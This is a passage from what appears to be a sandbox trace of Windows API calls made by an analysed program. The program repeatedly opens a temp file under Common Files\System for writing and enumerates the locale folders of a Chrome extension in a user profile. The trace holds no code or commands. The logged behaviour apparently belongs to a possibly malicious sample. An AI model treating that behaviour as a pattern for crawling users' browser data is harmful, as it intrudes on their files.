hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.716] GetLastError () returned 0x12 [0145.716] AreFileApisANSI () returned 1 [0145.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.716] GetFileType (hFile=0x194) returned 0x1 [0145.716] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.716] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.716] GetLastError () returned 0x12 [0145.716] AreFileApisANSI () returned 1 [0145.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.717] GetFileType (hFile=0x194) returned 0x1 [0145.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.717] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.717] GetLastError () returned 0x12 [0145.717] AreFileApisANSI () returned 1 [0145.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.717] GetFileType (hFile=0x194) returned 0x1 [0145.717] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.718] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.718] GetLastError () returned 0x12 [0145.718] AreFileApisANSI () returned 1 [0145.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.718] GetFileType (hFile=0x194) returned 0x1 [0145.718] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.718] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.718] GetLastError () returned 0x12 [0145.718] AreFileApisANSI () returned 1 [0145.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.719] GetFileType (hFile=0x194) returned 0x1 [0145.719] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.719] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.719] GetLastError () returned 0x12 [0145.719] AreFileApisANSI () returned 1 [0145.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.719] GetFileType (hFile=0x194) returned 0x1 [0145.719] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865f7db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865f7db0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.720] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.720] GetLastError () returned 0x12 [0145.720] AreFileApisANSI () returned 1 [0145.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.720] GetFileType (hFile=0x194) returned 0x1 [0145.720] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.720] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.720] GetLastError () returned 0x12 [0145.720] AreFileApisANSI () returned 1 [0145.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.721] GetFileType (hFile=0x194) returned 0x1 [0145.721] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8661df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8661df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.721] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.721] GetLastError () returned 0x12 [0145.721] AreFileApisANSI () returned 1 [0145.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.721] GetFileType (hFile=0x194) returned 0x1 [0145.721] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.722] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.722] GetLastError () returned 0x12 [0145.722] AreFileApisANSI () returned 1 [0145.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.722] GetFileType (hFile=0x194) returned 0x1 [0145.722] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.722] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.723] GetLastError () returned 0x12 [0145.723] AreFileApisANSI () returned 1 [0145.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.723] GetFileType (hFile=0x194) returned 0x1 [0145.723] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.723] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.723] GetLastError () returned 0x12 [0145.723] AreFileApisANSI () returned 1 [0145.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.723] GetFileType (hFile=0x194) returned 0x1 [0145.724] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.724] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.724] GetLastError () returned 0x12 [0145.724] AreFileApisANSI () returned 1 [0145.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.724] GetFileType (hFile=0x194) returned 0x1 [0145.724] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.725] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.725] GetLastError () returned 0x12 [0145.725] AreFileApisANSI () returned 1 [0145.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.725] GetFileType (hFile=0x194) returned 0x1 [0145.725] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866b6490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866b6490, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.725] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.725] GetLastError () returned 0x12 [0145.725] AreFileApisANSI () returned 1 [0145.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.726] GetFileType (hFile=0x194) returned 0x1 [0145.726] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.726] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.726] GetLastError () returned 0x12 [0145.726] AreFileApisANSI () returned 1 [0145.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.726] GetFileType (hFile=0x194) returned 0x1 [0145.726] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.727] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.727] GetLastError () returned 0x12 [0145.727] AreFileApisANSI () returned 1 [0145.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.727] GetFileType (hFile=0x194) returned 0x1 [0145.727] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.727] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.727] GetLastError () returned 0x12 [0145.727] AreFileApisANSI () returned 1 [0145.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.728] GetFileType (hFile=0x194) returned 0x1 [0145.728] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.728] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.728] GetLastError () returned 0x12 [0145.728] AreFileApisANSI () returned 1 [0145.728] 